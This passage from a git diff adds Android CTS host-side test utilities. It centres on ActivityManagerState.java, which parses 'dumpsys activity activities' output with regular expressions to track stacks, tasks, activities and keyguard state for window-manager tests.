+                            + ", stackId=" + stackId, aTaskBounds, wTaskBounds);
+
+                    if (compareTaskAndStackBounds && stackId != FREEFORM_WORKSPACE_STACK_ID) {
+                        int aTaskMinWidth = aTask.getMinWidth();
+                        int aTaskMinHeight = aTask.getMinHeight();
+
+                        if (aTaskMinWidth == -1 || aTaskMinHeight == -1) {
+                            // Minimal dimension(s) not set for task - it should be using defaults.
+                            int defaultMinimalSize = (stackId == PINNED_STACK_ID)
+                                    ? defaultMinimalPinnedTaskSize(aStack.mDisplayId)
+                                    : defaultMinimalTaskSize(aStack.mDisplayId);
+
+                            if (aTaskMinWidth == -1) {
+                                aTaskMinWidth = defaultMinimalSize;
+                            }
+                            if (aTaskMinHeight == -1) {
+                                aTaskMinHeight = defaultMinimalSize;
+                            }
+                        }
+
+                        if (aStackBounds.getWidth() >= aTaskMinWidth
+                                && aStackBounds.getHeight() >= aTaskMinHeight
+                                || stackId == PINNED_STACK_ID) {
+                            // Bounds are not smaller then minimal possible, so stack and task
+                            // bounds must be equal.
+                            assertEquals("Task bounds must be equal to stack bounds taskId="
+                                    + taskId + ", stackId=" + stackId, aStackBounds, wTaskBounds);
+                        } else if (stackId == DOCKED_STACK_ID && homeStackIsResizable
+                                && mWmState.isDockedStackMinimized()) {
+                            // Portrait if the display height is larger than the width
+                            if (displayRect.getHeight() > displayRect.getWidth()) {
+                                assertEquals("Task width must be equal to stack width taskId="
+                                        + taskId + ", stackId=" + stackId,
+                                        aStackBounds.getWidth(), wTaskBounds.getWidth());
+                                assertTrue("Task height must be greater than stack height "
+                                        + "taskId=" + taskId + ", stackId=" + stackId,
+                                        aStackBounds.getHeight() < wTaskBounds.getHeight());
+                                assertEquals("Task and stack x position must be equal taskId="
+                                        + taskId + ", stackId=" + stackId,
+                                        wTaskBounds.getX(), wStackBounds.getX());
+                            } else {
+                                assertTrue("Task width must be greater than stack width taskId="
+                                        + taskId + ", stackId=" + stackId,
+                                        aStackBounds.getWidth() < wTaskBounds.getWidth());
+                                assertEquals("Task height must be equal to stack height taskId="
+                                        + taskId + ", stackId=" + stackId,
+                                        aStackBounds.getHeight(), wTaskBounds.getHeight());
+                                assertEquals("Task and stack y position must be equal taskId="
+                                        + taskId + ", stackId=" + stackId, wTaskBounds.getY(),
+                                        wStackBounds.getY());
+                            }
+                        } else {
+                            // Minimal dimensions affect task size, so bounds of task and stack must
+                            // be different - will compare dimensions instead.
+                            int targetWidth = (int) Math.max(aTaskMinWidth,
+                                    aStackBounds.getWidth());
+                            assertEquals("Task width must be set according to minimal width"
+                                            + " taskId=" + taskId + ", stackId=" + stackId,
+                                    targetWidth, (int) wTaskBounds.getWidth());
+                            int targetHeight = (int) Math.max(aTaskMinHeight,
+                                    aStackBounds.getHeight());
+                            assertEquals("Task height must be set according to minimal height"
+                                            + " taskId=" + taskId + ", stackId=" + stackId,
+                                    targetHeight, (int) wTaskBounds.getHeight());
+                        }
+                    }
+                }
+            }
+        }
+    }
+
+    static int dpToPx(float dp, int densityDpi){
+        return (int) (dp * densityDpi / DISPLAY_DENSITY_DEFAULT + 0.5f);
+    }
+
+    private int defaultMinimalTaskSize(int displayId) {
+        return dpToPx(DEFAULT_RESIZABLE_TASK_SIZE_DP, mWmState.getDisplay(displayId).getDpi());
+    }
+
+    private int defaultMinimalPinnedTaskSize(int displayId) {
+        return dpToPx(DEFAULT_PIP_RESIZABLE_TASK_SIZE_DP, mWmState.getDisplay(displayId).getDpi());
+    }
+}
diff --git a/hostsidetests/services/activityandwindowmanager/util/src/android/server/cts/ActivityManagerState.java b/hostsidetests/services/activityandwindowmanager/util/src/android/server/cts/ActivityManagerState.java
new file mode 100644
index 0000000..cacfe23
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/util/src/android/server/cts/ActivityManagerState.java
@@ -0,0 +1,883 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.cts;
+
+import com.android.tradefed.device.CollectingOutputReceiver;
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.device.ITestDevice;
+
+import java.awt.Rectangle;
+import java.lang.Integer;
+import java.lang.String;
+import java.util.ArrayList;
+import java.util.Collections;
+import java.util.HashMap;
+import java.util.LinkedList;
+import java.util.List;
+
+import java.util.Map;
+import java.util.regex.Pattern;
+import java.util.regex.Matcher;
+
+import static android.server.cts.ActivityManagerTestBase.HOME_STACK_ID;
+import static android.server.cts.ActivityManagerTestBase.RECENTS_STACK_ID;
+import static android.server.cts.StateLogger.log;
+import static android.server.cts.StateLogger.logE;
+
+class ActivityManagerState {
+    public static final int DUMP_MODE_ACTIVITIES = 0;
+
+    public static final String STATE_RESUMED = "RESUMED";
+    public static final String STATE_PAUSED = "PAUSED";
+    public static final String STATE_STOPPED = "STOPPED";
+
+    public static final String RESIZE_MODE_RESIZEABLE = "RESIZE_MODE_RESIZEABLE";
+
+    private static final String DUMPSYS_ACTIVITY_ACTIVITIES = "dumpsys activity activities";
+
+    // Copied from ActivityRecord.java
+    private static final int APPLICATION_ACTIVITY_TYPE = 0;
+    private static final int HOME_ACTIVITY_TYPE = 1;
+    private static final int RECENTS_ACTIVITY_TYPE = 2;
+
+    private final Pattern mDisplayIdPattern = Pattern.compile("Display #(\\d+).*");
+    private final Pattern mStackIdPattern = Pattern.compile("Stack #(\\d+)\\:");
+    private final Pattern mResumedActivityPattern =
+            Pattern.compile("ResumedActivity\\: ActivityRecord\\{(.+) u(\\d+) (\\S+) (\\S+)\\}");
+    private final Pattern mFocusedStackPattern =
+            Pattern.compile("mFocusedStack=ActivityStack\\{(.+) stackId=(\\d+), (.+)\\}(.+)");
+
+    private final Pattern[] mExtractStackExitPatterns =
+            { mStackIdPattern, mResumedActivityPattern, mFocusedStackPattern, mDisplayIdPattern };
+
+    // Stacks in z-order with the top most at the front of the list, starting with primary display.
+    private final List<ActivityStack> mStacks = new ArrayList();
+    // Stacks on all attached displays, in z-order with the top most at the front of the list.
+    private final Map<Integer, List<ActivityStack>> mDisplayStacks = new HashMap<>();
+    private KeyguardControllerState mKeyguardControllerState;
+    private int mFocusedStackId = -1;
+    private String mResumedActivityRecord = null;
+    private final List<String> mResumedActivities = new ArrayList();
+    private final LinkedList<String> mSysDump = new LinkedList();
+
+    void computeState(ITestDevice device) throws DeviceNotAvailableException {
+        computeState(device, DUMP_MODE_ACTIVITIES);
+    }
+
+    void computeState(ITestDevice device, int dumpMode) throws DeviceNotAvailableException {
+        // It is possible the system is in the middle of transition to the right state when we get
+        // the dump. We try a few times to get the information we need before giving up.
+        int retriesLeft = 3;
+        boolean retry = false;
+        String dump = null;
+
+        log("==============================");
+        log("     ActivityManagerState     ");
+        log("==============================");
+
+        do {
+            if (retry) {
+                log("***Incomplete AM state. Retrying...");
+                // Wait half a second between retries for activity manager to finish transitioning.
+                try {
+                    Thread.sleep(500);
+                } catch (InterruptedException e) {
+                    log(e.toString());
+                    // Well I guess we are not waiting...
+                }
+            }
+
+            final CollectingOutputReceiver outputReceiver = new CollectingOutputReceiver();
+            String dumpsysCmd = "";
+            switch (dumpMode) {
+                case DUMP_MODE_ACTIVITIES:
+                    dumpsysCmd = DUMPSYS_ACTIVITY_ACTIVITIES; break;
+            }
+            device.executeShellCommand(dumpsysCmd, outputReceiver);
+            dump = outputReceiver.getOutput();
+            parseSysDump(dump);
+
+            retry = mStacks.isEmpty() || mFocusedStackId == -1 || (mResumedActivityRecord == null
+                    || mResumedActivities.isEmpty()) && !mKeyguardControllerState.keyguardShowing;
+        } while (retry && retriesLeft-- > 0);
+
+        if (retry) {
+            log(dump);
+        }
+
+        if (mStacks.isEmpty()) {
+            logE("No stacks found...");
+        }
+        if (mFocusedStackId == -1) {
+            logE("No focused stack found...");
+        }
+        if (mResumedActivityRecord == null) {
+            logE("No focused activity found...");
+        }
+        if (mResumedActivities.isEmpty()) {
+            logE("No resumed activities found...");
+        }
+    }
+
+    private void parseSysDump(String sysDump) {
+        reset();
+
+        Collections.addAll(mSysDump, sysDump.split("\\n"));
+
+        int currentDisplayId = 0;
+        while (!mSysDump.isEmpty()) {
+            final ActivityStack stack = ActivityStack.create(mSysDump, mStackIdPattern,
+                    mExtractStackExitPatterns, currentDisplayId);
+
+            if (stack != null) {
+                mStacks.add(stack);
+                mDisplayStacks.get(currentDisplayId).add(stack);
+                if (stack.mResumedActivity != null) {
+                    mResumedActivities.add(stack.mResumedActivity);
+                }
+                continue;
+            }
+
+            KeyguardControllerState controller = KeyguardControllerState.create(
+                    mSysDump, new Pattern[0]);
+            if (controller != null) {
+                mKeyguardControllerState = controller;
+                continue;
+            }
+
+            final String line = mSysDump.pop().trim();
+
+            Matcher matcher = mFocusedStackPattern.matcher(line);
+            if (matcher.matches()) {
+                log(line);
+                final String stackId = matcher.group(2);
+                log(stackId);
+                mFocusedStackId = Integer.parseInt(stackId);
+                continue;
+            }
+
+            matcher = mResumedActivityPattern.matcher(line);
+            if (matcher.matches()) {
+                log(line);
+                mResumedActivityRecord = matcher.group(3);
+                log(mResumedActivityRecord);
+                continue;
+            }
+
+            matcher = mDisplayIdPattern.matcher(line);
+            if (matcher.matches()) {
+                log(line);
+                final String displayId = matcher.group(1);
+                log(displayId);
+                currentDisplayId = Integer.parseInt(displayId);
+                mDisplayStacks.put(currentDisplayId, new ArrayList<>());
+            }
+        }
+    }
+
+    private void reset() {
+        mStacks.clear();
+        mFocusedStackId = -1;
+        mResumedActivityRecord = null;
+        mResumedActivities.clear();
+        mSysDump.clear();
+        mKeyguardControllerState = null;
+    }
+
+    int getFrontStackId(int displayId) {
+        return mDisplayStacks.get(displayId).get(0).mStackId;
+    }
+
+    int getFocusedStackId() {
+        return mFocusedStackId;
+    }
+
+    String getFocusedActivity() {
+        return mResumedActivityRecord;
+    }
+
+    String getResumedActivity() {
+        return mResumedActivities.get(0);
+    }
+
+    int getResumedActivitiesCount() {
+        return mResumedActivities.size();
+    }
+
+    public KeyguardControllerState getKeyguardControllerState() {
+        return mKeyguardControllerState;
+    }
+
+    boolean containsStack(int stackId) {
+        return getStackById(stackId) != null;
+    }
+
+    ActivityStack getStackById(int stackId) {
+        for (ActivityStack stack : mStacks) {
+            if (stackId == stack.mStackId) {
+                return stack;
+            }
+        }
+        return null;
+    }
+
+    int getStackPosition(int stackId) {
+        for (int i = 0; i < mStacks.size(); i++) {
+            if (stackId == mStacks.get(i).mStackId) {
+                return i;
+            }
+        }
+        return -1;
+    }
+
+    List<ActivityStack> getStacks() {
+        return new ArrayList(mStacks);
+    }
+
+    int getStackCount() {
+        return mStacks.size();
+    }
+
+    boolean containsActivity(String activityName) {
+        for (ActivityStack stack : mStacks) {
+            for (ActivityTask task : stack.mTasks) {
+                for (Activity activity : task.mActivities) {
+                    if (activity.name.equals(activityName)) {
+                        return true;
+                    }
+                }
+            }
+        }
+        return false;
+    }
+
+    boolean isActivityVisible(String activityName) {
+        for (ActivityStack stack : mStacks) {
+            for (ActivityTask task : stack.mTasks) {
+               for (Activity activity : task.mActivities) {
+                   if (activity.name.equals(activityName)) {
+                       return activity.visible;
+                   }
+               }
+            }
+        }
+        return false;
+    }
+
+    boolean hasActivityState(String activityName, String activityState) {
+        String fullName = ActivityManagerTestBase.getActivityComponentName(activityName);
+        for (ActivityStack stack : mStacks) {
+            for (ActivityTask task : stack.mTasks) {
+                for (Activity activity : task.mActivities) {
+                    if (activity.name.equals(fullName)) {
+                        return activity.state.equals(activityState);
+                    }
+                }
+            }
+        }
+        return false;
+    }
+
+    int getActivityProcId(String activityName) {
+        for (ActivityStack stack : mStacks) {
+            for (ActivityTask task : stack.mTasks) {
+               for (Activity activity : task.mActivities) {
+                   if (activity.name.equals(activityName)) {
+                       return activity.procId;
+                   }
+               }
+            }
+        }
+        return -1;
+    }
+
+    boolean isHomeActivityVisible() {
+        final Activity homeActivity = getHomeActivity();
+        return homeActivity != null && homeActivity.visible;
+    }
+
+    boolean isRecentsActivityVisible() {
+        final Activity recentsActivity = getRecentsActivity();
+        return recentsActivity != null && recentsActivity.visible;
+    }
+
+    String getHomeActivityName() {
+        Activity activity = getHomeActivity();
+        if (activity == null) {
+            return null;
+        }
+        return activity.name;
+    }
+
+    ActivityTask getHomeTask() {
+        ActivityStack homeStack = getStackById(HOME_STACK_ID);
+        if (homeStack != null) {
+            for (ActivityTask task : homeStack.mTasks) {
+                if (task.mTaskType == HOME_ACTIVITY_TYPE) {
+                    return task;
+                }
+            }
+            return null;
+        }
+        return null;
+    }
+
+    ActivityTask getRecentsTask() {
+        ActivityStack recentsStack = getStackById(RECENTS_STACK_ID);
+        if (recentsStack != null) {
+            for (ActivityTask task : recentsStack.mTasks) {
+                if (task.mTaskType == RECENTS_ACTIVITY_TYPE) {
+                    return task;
+                }
+            }
+            return null;
+        }
+        return null;
+    }
+
+    private Activity getHomeActivity() {
+        final ActivityTask homeTask = getHomeTask();
+        return homeTask != null ? homeTask.mActivities.get(homeTask.mActivities.size() - 1) : null;
+    }
+
+    private Activity getRecentsActivity() {
+        final ActivityTask recentsTask = getRecentsTask();
+        return recentsTask != null ? recentsTask.mActivities.get(recentsTask.mActivities.size() - 1)
+                : null;
+    }
+
+    ActivityTask getTaskByActivityName(String activityName) {
+        return getTaskByActivityName(activityName, -1);
+    }
+
+    ActivityTask getTaskByActivityName(String activityName, int stackId) {
+        String fullName = ActivityManagerTestBase.getActivityComponentName(activityName);
+        for (ActivityStack stack : mStacks) {
+            if (stackId == -1 || stackId == stack.mStackId) {
+                for (ActivityTask task : stack.mTasks) {
+                    for (Activity activity : task.mActivities) {
+                        if (activity.name.equals(fullName)) {
+                            return task;
+                        }
+                    }
+                }
+            }
+        }
+        return null;
+    }
+
+    static class ActivityStack extends ActivityContainer {
+
+        private static final Pattern TASK_ID_PATTERN = Pattern.compile("Task id #(\\d+)");
+        private static final Pattern RESUMED_ACTIVITY_PATTERN = Pattern.compile(
+                "mResumedActivity\\: ActivityRecord\\{(.+) u(\\d+) (\\S+) (\\S+)\\}");
+
+        int mDisplayId;
+        int mStackId;
+        String mResumedActivity;
+        ArrayList<ActivityTask> mTasks = new ArrayList();
+
+        private ActivityStack() {
+        }
+
+        static ActivityStack create(LinkedList<String> dump, Pattern stackIdPattern,
+                                    Pattern[] exitPatterns, int displayId) {
+            final String line = dump.peek().trim();
+
+            final Matcher matcher = stackIdPattern.matcher(line);
+            if (!matcher.matches()) {
+                // Not a stack.
+                return null;
+            }
+            // For the stack Id line we just read.
+            dump.pop();
+
+            final ActivityStack stack = new ActivityStack();
+            stack.mDisplayId = displayId;
+            log(line);
+            final String stackId = matcher.group(1);
+            log(stackId);
+            stack.mStackId = Integer.parseInt(stackId);
+            stack.extract(dump, exitPatterns);
+            return stack;
+        }
+
+        private void extract(LinkedList<String> dump, Pattern[] exitPatterns) {
+
+            final List<Pattern> taskExitPatterns = new ArrayList();
+            Collections.addAll(taskExitPatterns, exitPatterns);
+            taskExitPatterns.add(TASK_ID_PATTERN);
+            taskExitPatterns.add(RESUMED_ACTIVITY_PATTERN);
+            final Pattern[] taskExitPatternsArray =
+                    taskExitPatterns.toArray(new Pattern[taskExitPatterns.size()]);
+
+            while (!doneExtracting(dump, exitPatterns)) {
+                final ActivityTask task =
+                        ActivityTask.create(dump, TASK_ID_PATTERN, taskExitPatternsArray);
+
+                if (task != null) {
+                    mTasks.add(task);
+                    continue;
+                }
+
+                final String line = dump.pop().trim();
+
+                if (extractFullscreen(line)) {
+                    continue;
+                }
+
+                if (extractBounds(line)) {
+                    continue;
+                }
+
+                Matcher matcher = RESUMED_ACTIVITY_PATTERN.matcher(line);
+                if (matcher.matches()) {
+                    log(line);
+                    mResumedActivity = matcher.group(3);
+                    log(mResumedActivity);
+                    continue;
+                }
+            }
+        }
+
+        /**
+         * @return the bottom task in the stack.
+         */
+        ActivityTask getBottomTask() {
+            if (!mTasks.isEmpty()) {
+                // NOTE: Unlike the ActivityManager internals, we dump the state from top to bottom,
+                //       so the indices are inverted
+                return mTasks.get(mTasks.size() - 1);
+            }
+            return null;
+        }
+
+        /**
+         * @return the top task in the stack.
+         */
+        ActivityTask getTopTask() {
+            if (!mTasks.isEmpty()) {
+                // NOTE: Unlike the ActivityManager internals, we dump the state from top to bottom,
+                //       so the indices are inverted
+                return mTasks.get(0);
+            }
+            return null;
+        }
+
+        List<ActivityTask> getTasks() {
+            return new ArrayList(mTasks);
+        }
+
+        ActivityTask getTask(int taskId) {
+            for (ActivityTask task : mTasks) {
+                if (taskId == task.mTaskId) {
+                    return task;
+                }
+            }
+            return null;
+        }
+    }
+
+    static class ActivityTask extends ActivityContainer {
+        private static final Pattern TASK_RECORD_PATTERN = Pattern.compile("\\* TaskRecord\\"
+                + "{(\\S+) #(\\d+) (\\S+)=(\\S+) U=(\\d+) StackId=(\\d+) sz=(\\d+)\\}");
+
+        private static final Pattern LAST_NON_FULLSCREEN_BOUNDS_PATTERN = Pattern.compile(
+                "mLastNonFullscreenBounds=Rect\\((\\d+), (\\d+) - (\\d+), (\\d+)\\)");
+
+        private static final Pattern ORIG_ACTIVITY_PATTERN = Pattern.compile("origActivity=(\\S+)");
+        private static final Pattern REAL_ACTIVITY_PATTERN = Pattern.compile("realActivity=(\\S+)");
+
+        private static final Pattern ACTIVITY_NAME_PATTERN = Pattern.compile(
+                "\\* Hist #(\\d+)\\: ActivityRecord\\{(\\S+) u(\\d+) (\\S+) t(\\d+)\\}");
+
+        private static final Pattern TASK_TYPE_PATTERN = Pattern.compile("autoRemoveRecents=(\\S+) "
+                + "isPersistable=(\\S+) numFullscreen=(\\d+) taskType=(\\d+) "
+                + "mTaskToReturnTo=(\\d+)");
+
+        private static final Pattern RESIZABLE_PATTERN = Pattern.compile(
+                ".*mResizeMode=([^\\s]+).*");
+
+        int mTaskId;
+        int mStackId;
+        Rectangle mLastNonFullscreenBounds;
+        String mRealActivity;
+        String mOrigActivity;
+        ArrayList<Activity> mActivities = new ArrayList();
+        int mTaskType = -1;
+        int mReturnToType = -1;
+        private String mResizeMode;
+
+        private ActivityTask() {
+        }
+
+        static ActivityTask create(
+                LinkedList<String> dump, Pattern taskIdPattern, Pattern[] exitPatterns) {
+            final String line = dump.peek().trim();
+
+            final Matcher matcher = taskIdPattern.matcher(line);
+            if (!matcher.matches()) {
+                // Not a task.
+                return null;
+            }
+            // For the task Id line we just read.
+            dump.pop();
+
+            final ActivityTask task = new ActivityTask();
+            log(line);
+            final String taskId = matcher.group(1);
+            log(taskId);
+            task.mTaskId = Integer.parseInt(taskId);
+            task.extract(dump, exitPatterns);
+            return task;
+        }
+
+        private void extract(LinkedList<String> dump, Pattern[] exitPatterns) {
+            final List<Pattern> activityExitPatterns = new ArrayList();
+            Collections.addAll(activityExitPatterns, exitPatterns);
+            activityExitPatterns.add(ACTIVITY_NAME_PATTERN);
+            final Pattern[] activityExitPatternsArray =
+                    activityExitPatterns.toArray(new Pattern[activityExitPatterns.size()]);
+
+            while (!doneExtracting(dump, exitPatterns)) {
+                final Activity activity =
+                        Activity.create(dump, ACTIVITY_NAME_PATTERN, activityExitPatternsArray);
+
+                if (activity != null) {
+                    mActivities.add(activity);
+                    continue;
+                }
+
+                final String line = dump.pop().trim();
+
+                if (extractFullscreen(line)) {
+                    continue;
+                }
+
+                if (extractBounds(line)) {
+                    continue;
+                }
+
+                if (extractMinimalSize(line)) {
+                    continue;
+                }
+
+                Matcher matcher = TASK_RECORD_PATTERN.matcher(line);
+                if (matcher.matches()) {
+                    log(line);
+                    final String stackId = matcher.group(6);
+                    mStackId = Integer.valueOf(stackId);
+                    log(stackId);
+                    continue;
+                }
+
+                matcher = LAST_NON_FULLSCREEN_BOUNDS_PATTERN.matcher(line);
+                if (matcher.matches()) {
+                    log(line);
+                    mLastNonFullscreenBounds = extractBounds(matcher);
+                }
+
+                matcher = REAL_ACTIVITY_PATTERN.matcher(line);
+                if (matcher.matches()) {
+                    if (mRealActivity == null) {
+                        log(line);
+                        mRealActivity = matcher.group(1);
+                        log(mRealActivity);
+                    }
+                    continue;
+                }
+
+                matcher = ORIG_ACTIVITY_PATTERN.matcher(line);
+                if (matcher.matches()) {
+                    if (mOrigActivity == null) {
+                        log(line);
+                        mOrigActivity = matcher.group(1);
+                        log(mOrigActivity);
+                    }
+                    continue;
+                }
+
+                matcher = TASK_TYPE_PATTERN.matcher(line);
+                if (matcher.matches()) {
+                    log(line);
+                    mTaskType = Integer.valueOf(matcher.group(4));
+                    mReturnToType = Integer.valueOf(matcher.group(5));
+                    continue;
+                }
+
+                matcher = RESIZABLE_PATTERN.matcher(line);
+                if (matcher.matches()) {
+                    log(line);
+                    mResizeMode = matcher.group(1);
+                    log(mResizeMode);
+                    continue;
+                }
+            }
+        }
+
+        public String getResizeMode() {
+            return mResizeMode;
+        }
+
+        /**
+         * @return whether this task contains the given activity.
+         */
+        public boolean containsActivity(String activityName) {
+            for (Activity activity : mActivities) {
+                if (activity.name.equals(activityName)) {
+                    return true;
+                }
+            }
+            return false;
+        }
+    }
+
+    static class Activity {
+        private static final Pattern STATE_PATTERN = Pattern.compile("state=(\\S+).*");
+        private static final Pattern VISIBILITY_PATTERN = Pattern.compile("keysPaused=(\\S+) "
+                + "inHistory=(\\S+) visible=(\\S+) sleeping=(\\S+) idle=(\\S+) "
+                + "mStartingWindowState=(\\S+)");
+        private static final Pattern FRONT_OF_TASK_PATTERN = Pattern.compile("frontOfTask=(\\S+) "
+                + "task=TaskRecord\\{(\\S+) #(\\d+) A=(\\S+) U=(\\d+) StackId=(\\d+) sz=(\\d+)\\}");
+        private static final Pattern PROCESS_RECORD_PATTERN = Pattern.compile(
+                "app=ProcessRecord\\{(\\S+) (\\d+):(\\S+)/(.+)\\}");
+
+        String name;
+        String state;
+        boolean visible;
+        boolean frontOfTask;
+        int procId = -1;
+
+        private Activity() {
+        }
+
+        static Activity create(
+                LinkedList<String> dump, Pattern activityNamePattern, Pattern[] exitPatterns) {
+            final String line = dump.peek().trim();
+
+            final Matcher matcher = activityNamePattern.matcher(line);
+            if (!matcher.matches()) {
+                // Not an activity.
+                return null;
+            }
+            // For the activity name line we just read.
+            dump.pop();
+
+            final Activity activity = new Activity();
+            log(line);
+            activity.name = matcher.group(4);
+            log(activity.name);
+            activity.extract(dump, exitPatterns);
+            return activity;
+        }
+
+        private void extract(LinkedList<String> dump, Pattern[] exitPatterns) {
+
+            while (!doneExtracting(dump, exitPatterns)) {
+                final String line = dump.pop().trim();
+
+                // Break the activity extraction once we hit an empty line
+                if (line.isEmpty()) {
+                    break;
+                }
+
+                Matcher matcher = VISIBILITY_PATTERN.matcher(line);
+                if (matcher.matches()) {
+                    log(line);
+                    final String visibleString = matcher.group(3);
+                    visible = Boolean.valueOf(visibleString);
+                    log(visibleString);
+                    continue;
+                }
+
+                matcher = STATE_PATTERN.matcher(line);
+                if (matcher.matches()) {
+                    log(line);
+                    state = matcher.group(1);
+                    log(state);
+                    continue;
+                }
+
+                matcher = PROCESS_RECORD_PATTERN.matcher(line);
+                if (matcher.matches()) {
+                    log(line);
+                    final String procIdString = matcher.group(2);
+                    procId = Integer.valueOf(procIdString);
+                    log(procIdString);
+                    continue;
+                }
+
+                matcher = FRONT_OF_TASK_PATTERN.matcher(line);
+                if (matcher.matches()) {
+                    log(line);
+                    final String frontOfTaskString = matcher.group(1);
+                    frontOfTask = Boolean.valueOf(frontOfTaskString);
+                    log(frontOfTaskString);
+                    continue;
+                }
+            }
+        }
+    }
+
+    static abstract class ActivityContainer {
+        protected static final Pattern FULLSCREEN_PATTERN = Pattern.compile("mFullscreen=(\\S+)");
+        protected static final Pattern BOUNDS_PATTERN =
+                Pattern.compile("mBounds=Rect\\((\\d+), (\\d+) - (\\d+), (\\d+)\\)");
+        protected static final Pattern MIN_WIDTH_PATTERN =
+                Pattern.compile("mMinWidth=(\\d+)");
+        protected static final Pattern MIN_HEIGHT_PATTERN =
+                Pattern.compile("mMinHeight=(\\d+)");
+
+        protected boolean mFullscreen;
+        protected Rectangle mBounds;
+        protected int mMinWidth = -1;
+        protected int mMinHeight = -1;
+
+        boolean extractFullscreen(String line) {
+            final Matcher matcher = FULLSCREEN_PATTERN.matcher(line);
+            if (!matcher.matches()) {
+                return false;
+            }
+            log(line);
+            final String fullscreen = matcher.group(1);
+            log(fullscreen);
+            mFullscreen = Boolean.valueOf(fullscreen);
+            return true;
+        }
+
+        boolean extractBounds(String line) {
+            final Matcher matcher = BOUNDS_PATTERN.matcher(line);
+            if (!matcher.matches()) {
+                return false;
+            }
+            log(line);
+            mBounds = extractBounds(matcher);
+            return true;
+        }
+
+        static Rectangle extractBounds(Matcher matcher) {
+            final int left = Integer.valueOf(matcher.group(1));
+            final int top = Integer.valueOf(matcher.group(2));
+            final int right = Integer.valueOf(matcher.group(3));
+            final int bottom = Integer.valueOf(matcher.group(4));
+            final Rectangle rect = new Rectangle(left, top, right - left, bottom - top);
+
+            log(rect.toString());
+            return rect;
+        }
+
+        boolean extractMinimalSize(String line) {
+            final Matcher minWidthMatcher = MIN_WIDTH_PATTERN.matcher(line);
+            final Matcher minHeightMatcher = MIN_HEIGHT_PATTERN.matcher(line);
+
+            if (minWidthMatcher.matches()) {
+                log(line);
+                mMinWidth = Integer.valueOf(minWidthMatcher.group(1));
+            } else if (minHeightMatcher.matches()) {
+                log(line);
+                mMinHeight = Integer.valueOf(minHeightMatcher.group(1));
+            } else {
+                return false;
+            }
+            return true;
+        }
+
+        Rectangle getBounds() {
+            return mBounds;
+        }
+
+        boolean isFullscreen() {
+            return mFullscreen;
+        }
+
+        int getMinWidth() {
+            return mMinWidth;
+        }
+
+        int getMinHeight() {
+            return mMinHeight;
+        }
+    }
+
+    static class KeyguardControllerState {
+        private static final Pattern NAME_PATTERN = Pattern.compile("KeyguardController:");
+        private static final Pattern SHOWING_PATTERN = Pattern.compile("mKeyguardShowing=(\\S+)");
+        private static final Pattern OCCLUDED_PATTERN = Pattern.compile("mOccluded=(\\S+)");
+
+        boolean keyguardShowing;
+        boolean keyguardOccluded;
+
+        private KeyguardControllerState() {
+        }
+
+        static KeyguardControllerState create(LinkedList<String> dump, Pattern[] exitPatterns) {
+            final String line = dump.peek().trim();
+
+            final Matcher matcher = NAME_PATTERN.matcher(line);
+            if (!matcher.matches()) {
+                // Not KeyguardController
+                return null;
+            }
+
+            // For the KeyguardController line we just read.
+            dump.pop();
+
+            final KeyguardControllerState controller = new KeyguardControllerState();
+            controller.extract(dump, exitPatterns);
+            return controller;
+        }
+
+        private void extract(LinkedList<String> dump, Pattern[] exitPatterns) {
+
+            while (!doneExtracting(dump, exitPatterns)) {
+                final String line = dump.pop().trim();
+
+                Matcher matcher = SHOWING_PATTERN.matcher(line);
+                if (matcher.matches()) {
+                    log(line);
+                    final String showingString = matcher.group(1);
+                    keyguardShowing = Boolean.valueOf(showingString);
+                    log(showingString);
+                    continue;
+                }
+
+                matcher = OCCLUDED_PATTERN.matcher(line);
+                if (matcher.matches()) {
+                    log(line);
+                    final String occludedString = matcher.group(1);
+                    keyguardOccluded = Boolean.valueOf(occludedString);
+                    log(occludedString);
+                    continue;
+                }
+            }
+        }
+    }
+
+    static boolean doneExtracting(LinkedList<String> dump, Pattern[] exitPatterns) {
+        if (dump.isEmpty()) {
+            return true;
+        }
+        final String line = dump.peek().trim();
+
+        for (Pattern pattern : exitPatterns) {
+            if (pattern.matcher(line).matches()) {
+                return true;
+            }
+        }
+        return false;
+    }
+}
diff --git a/hostsidetests/services/activityandwindowmanager/util/src/android/server/cts/ActivityManagerTestBase.java b/hostsidetests/services/activityandwindowmanager/util/src/android/server/cts/ActivityManagerTestBase.java
new file mode 100644
index 0000000..702709b
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/util/src/android/server/cts/ActivityManagerTestBase.java
@@ -0,0 +1,1231 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.cts;
+
+import com.android.ddmlib.Log.LogLevel;
+import com.android.tradefed.device.CollectingOutputReceiver;
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.log.LogUtil.CLog;
+import com.android.tradefed.result.InputStreamSource;
+import com.android.tradefed.testtype.DeviceTestCase;
+
+import java.awt.*;
+import java.awt.image.BufferedImage;
+import java.lang.Exception;
+import java.lang.Integer;
+import java.lang.String;
+import java.util.HashSet;
+import java.util.List;
+import java.util.UUID;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+import static android.server.cts.StateLogger.log;
+import static android.server.cts.StateLogger.logE;
+
+import android.server.cts.ActivityManagerState.ActivityStack;
+
+import javax.imageio.ImageIO;
+
+public abstract class ActivityManagerTestBase extends DeviceTestCase {
+    private static final boolean PRETEND_DEVICE_SUPPORTS_PIP = false;
+    private static final boolean PRETEND_DEVICE_SUPPORTS_FREEFORM = false;
